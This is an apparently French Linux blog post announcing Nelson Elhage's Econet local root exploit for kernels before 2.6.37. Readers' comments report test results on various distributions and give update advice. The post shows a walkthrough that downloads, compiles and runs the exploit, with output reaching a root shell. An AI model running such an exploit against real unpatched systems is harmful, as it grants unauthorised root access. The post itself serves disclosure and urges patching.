Local Root exploit by Nelson Elhage


Hacking
Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. La vulnérabilité affecte les distributions Linux basées sur des versions inférieures à la 2.6.37 du kernel.

Le seul moyen de contrer cette attaque est de mettre à jour votre système. Voici un exemple d'utilisation de l'exploit :

$ wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c
$ gcc -o nelson nelson.c
$ ./nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf80f02a0
[+] Resolved econet_ops to 0xf80f03a0
[+] Resolved commit_creds to 0xc016c830
[+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Calculating target...
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root) groupes=0(root)

J'ai testé l'exploit avec succès sur une Ubuntu 10.10 (noyau en version 2.6.35-22-generic). Cela ne marche pas après une mise à jour du système (noyau en version 2.6.35-23). Je n'ai pas eu le temps de le tester sur d'autres systèmes mais on peut lire, en commentaire dans le code source, que celui-ci est assez limité :

  • il ne concerne donc pas Slackware et Debian (le symbole résolu n'existe pas sous ces distributions)
  • il ne concerne pas Red Hat car cette distribution ne supporte pas Econet par défaut
  • il ne concerne pas les Ubuntu et Debian qui ont été mises à jour (CVE-2010-3849 et CVE-2010-3850)

17 Commentaires pour "Local Root exploit by Nelson Elhage"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Je viens de tester sur ma Ubuntu 10.10 x64 à jour et l'exploit ne fonctionne pas..
    [...]
    [*] Triggering payload...
    [*] Exploit failed to get root.

    RépondreRépondre
    MarcSpitz , le 8 décembre 2010 à 00:45
  •  

    +1

    [*] Exploit failed to get root.

    2.6.35.23

    RépondreRépondre
    enicaY , le 8 décembre 2010 à 05:50
  •  

    Archlinux avec noyau par défaut : pas vulnérable ?

    [fred@fredo-arch linux-2.6.36-ARCH]$ less .config | grep ECONET
    # CONFIG_ECONET is not set

    Et quand je lance le POC compilé :

    [fred@fredo-arch download]$ ./nelson
    [*] Failed to open file descriptors.

    Linux fredo-arch 2.6.36-ARCH #1 SMP PREEMPT Wed Nov 24 00:39:57 CET 2010 x86_64 AMD Athlon(tm) II X2 215 Processor AuthenticAMD GNU/Linux

    RépondreRépondre
    FredBezies , le 8 décembre 2010 à 07:08
  •  

    Debian Squeeze (#! Statler) 2.6.32-5-amd64:

    odn@moa:~/exploit$ ./nelson
    [*] Resolving kernel addresses...
    [+] Resolved econet_ioctl to 0xffffffffa05ad7b1
    [+] Resolved commit_creds to 0xffffffff8106939d
    [+] Resolved prepare_kernel_cred to 0xffffffff810692a0
    [*] Failed to resolve kernel symbols.

    RépondreRépondre
    oDn , le 8 décembre 2010 à 07:13
  •  

    Je confirme que sur le dernier kernel à jour de Ubuntu (2.6.35-23-generic), cela ne fonctionne pas. Sous archlinux, en 2.6.36, même erreur que FredBezies.
    EDIT: les commentaires explique :
    * * The particular symbols I resolve are not exported on Slackware or Debian
    * * Red Hat does not support Econet by default
    * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
    * Debian

    RépondreRépondre
    benpro , le 8 décembre 2010 à 08:40
  •  

    @benpro : oui effectivement ce commentaire dans le code nous montre les limitations de l'exploit. Je met à jour l'article.

    RépondreRépondre
    pti-seb , le 8 décembre 2010 à 08:41
  •  

    Je confirme que sur une RedHat 5.4 release Iso 2.6.18-164.el5 x86_64 cela ne fonctionne pas.
    [user@server ~]$ ./nelson
    [*] Failed to open file descriptors

    RépondreRépondre
    nocktames , le 8 décembre 2010 à 09:11
  •  

    Bonjour, étant novice avec Linux, je voudrait savoir comment mettre a jour le noyau de Linux. J'ai Linux 10.04, en faisant dans le terminal uname -r il apparait 2.6.32-26 généric donc j'ai une version bien inférieure à celle souhaité. Comment dois je procéder ? Merci de vos réponses.

    RépondreRépondre
    mychris , le 8 décembre 2010 à 11:01
  •  

    @mychris : ubuntu s'occupe de faire les mises à jour du noyau.

    Donc, si tu veux être tranquille, ouvre un gnome terminal et tape :

    sudo aptitude update
    sudo aptitude safe-upgrade

    ou si cela ne fonctionne pas - cela fait 2 ans que j'ai plus utilisé ubuntu -

    sudo apt-get update
    sudo apt-get upgrade

    RépondreRépondre
    FredBezies , le 8 décembre 2010 à 11:36
  •  

    Ne fonctionne pas sur Fedora 14 x86_64.

    RépondreRépondre
    Obidoub , le 8 décembre 2010 à 12:43
  •  

    lesell_p @ host-mid-r09p02 % uname -a
    Linux host-mid-r09p02 2.6.34-gentoo-r12 #1 SMP Sun Nov 21 13:37:57 CET 2010 i686 Intel(R) Core(TM)2 Quad CPU Q9400 @ 2.66GHz GenuineIntel GNU/Linux
    lesell_p @ host-mid-r09p02 % ./nelson
    [*] Failed to open file descriptors.

    Chez moi sur Gentoo, ca ne fonctionne pas non plus ! =/

    RépondreRépondre
    Rohja , le 8 décembre 2010 à 14:05
  •  

    ]$ uname -a
    Linux Port-SkaP 2.6.35.6-48.fc14.x86_64 #1 SMP Fri Oct 22 15:36:08 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
    $ ./nelson
    [*] Failed to open file descriptors.

    rien sur la fedora14

    RépondreRépondre
    SkaP , le 8 décembre 2010 à 16:16
  •  

    N'a pas marché non plus sur une Ubuntu 10.04 LTS avec le kernel 2.6.32-26-generic :)

    RépondreRépondre
    Guilou , le 8 décembre 2010 à 18:17
  •  

    @FredBezies : Merci pour ta réponse et tes indications. Venant de plusieurs années de pratique de windows, avoir les bons réflexes sur Linux demande travail et patience, j'en apprend tous les jours.

    RépondreRépondre
    mychris , le 8 décembre 2010 à 19:23
  •  

    testé sur une debian lenny et squeeze à jour, ça ne fonctionne pas
    sur un ubuntu 10.04 non mis à jour avec le kernel 2.6.32-26 ça ne fonctionne pas non plus
    par contre sur un ubuntu 9.10 avec un kernel 2.6.31-20 ça fonctionne :-(

    RépondreRépondre
    Dju , le 8 décembre 2010 à 20:18
  •  

    testé sur :
    user@server:~$ cat /etc/debian_version
    5.0.6

    user@server:~$ uname -a
    Linux pluton 2.6.26-2-amd64 #1 SMP Tue Aug 31 09:11:22 UTC 2010 x86_64 GNU/Linux

    user@server:~$ ./nelson
    [*] Resolving kernel addresses...
    [+] Resolved econet_ioctl to 0xffffffffa03d419b
    [+] Resolved econet_ops to 0xffffffffa03d51e0
    [*] Failed to resolve kernel symbols.

    NE fonctionne pas !

    RépondreRépondre
    nocktames , le 9 décembre 2010 à 11:18
  •  

    @sebastien

    Salut, pour Ma part je ne met à jour que mes navigateurs internet et rien d'autres, par le passé j'ai eu des problèmes en mettant à jour mon système c'est tout le temps à cause d'un kernet différent, donc depuis environ 3 ans je ne met à jour que mes navigateurs internet, :) via synaptic

    Je sais que sur linux mint il est possible de mettre à jour tout les programmes installer sans pour autant toucher au fichier système, c'est exactement ce qu'il me faudrait, pouvoir choisir facilement ce que l'on souhaite mettre à jour, je n'ai pas trouver le nom de ce programme, sous ubuntu .

    mes questions : existe t-il un risque concret de ne pas mettre à jour les fichiers systèmes, ?
    existe t-il un programme qui permet de choisir uniquement la mise à jour de tout les programmes ?

    Merci

    RépondreRépondre
    JeanJean , le 10 décembre 2010 à 11:07
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum